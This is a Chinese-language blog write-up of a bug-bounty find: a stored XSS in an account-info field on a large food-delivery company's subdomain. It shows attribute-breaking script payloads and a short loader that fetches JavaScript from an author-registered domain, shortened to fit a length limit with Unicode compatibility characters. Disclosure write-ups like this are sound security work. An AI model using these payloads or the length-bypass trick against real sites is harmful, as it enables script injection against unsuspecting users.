点此返回首页

leeya_bug@home:~$

一个Coder,Attacker,Creator

SRC实战 浅挖国内某外卖大厂储存型XSS

0、前言

这是本人一个多月前的一次对某大型外卖厂商的src经历
由于这次经历非常的典型,而且本人也因此获得了比较丰厚的报酬
因此把它记录下来

出于对商业性渗透的保密原则,无法在此展示任何关于该厂商的图片内容

1、前期资产搜集阶段

前期资产搜集阶段很艰难痛苦,使用不少资产搜索框架,均无法搜寻到大量有价值的资产信息
(毕竟人家大厂的工程师也不是吃素的)

就这样持续了几天,没有通杀的情况下,在看了不少站点+移动端资产后,终于发现了可疑xss注入点

2、前期注入尝试阶段

在某子域下的某站点内的个人信息处,发现账号信息修改栏竟然没有经过过滤
于是仔细钻研账号信息这个点,发现了以下规律

1、账号信息处可以填任意utf-8码字符,但是返回的网页会转义()等字符,不转义””,’’,/
2、账号信息可作为公开信息展示在个人主页上,非常方便构造储存型xss
3、账号信息输入处处于某标签的value中
4、账号信息限制20长度字符,并且是后端硬校验,常规方法无法突破

于是可乘之机就来了
既然账号处是处于某标签的value中,那么就无需<>号了,直接先”“绕过,尝试构造新的标签参数

  "><script src="

成功,并且没有任何的过滤,只是网页排版变得混乱了很多

直接改返回包,添加函数,试试能否执行alert函数(由于括号被绕过,所以暂时用burp改返回包判断一下)

  "><script src="alert(1)

成功弹窗
说明此处可以运行script

由于长度限制在20,我们想要执行更多js代码,必须引入外部url里面的script,而不是括号绕过

通过人脑极限压缩大法,我们最终将执行外部url的payload极限压缩到15个字符
payload:

  "<script src=//[填写域名]

该payload生成出来的网页简直是一坨稀饭,不过经过验证可以执行域名包含的js代码(不过该处填写的域名解析出的网站必须是跟随主站协议,比如像主站用https验证站就得用https)

该payload除开域名部分总长度为15,我们填写的域名+路径不能超过5字符
当时就想到了短域名等方案,但都太长了
然后想到干脆注册个域名算了,但又发现这种5字符长度的域名都太贵了

经过我苦苦思考,终于发现了一个特别隐蔽的规则能利用:utf-8编码字母符号

众所周知,utf-8字符集里有各种各样的字母符号,比如像:

字母符号 编码
8482号
8481号

但绝大多数人不知道的是,在浏览器域名解析这些字母符号时,会自动按以下格式转换成英文字母:

字母符号 编码 对应英文字母
8482号 tm
8481号 tel
rad

这些字母符号无论解析出来的英文有多长,都仅占用1个字符宽度

注册一个域名radq.cc,无论是使用㎭q.cc还是radq.cc,都能顺利C类解析到同一源ip

这样就好办了,不用花大价钱注册5长度域名,只需花小价钱注册一个包含特殊字符的5长度域名就可以了

3、中期payload注入阶段

注册了radq.cc,在该域名下挂js脚本,顺利注入
final payload:

  "<script src=//㎭q.cc

最后顺利注入,当然获取用户敏感信息是不太现实的,因为各种HTTP-ONLY的防御手段
最后顺利注入,提交了漏洞信息,并且管理员处理的很快,喜提中危,不愧是大厂

注意,本文最终payload并非真正payload,厂商自带waf,需要额外绕过一下,不在赘述
本篇文章由leeya_bug(leeyange)自创,文章属亲身经历,禁止抄袭payload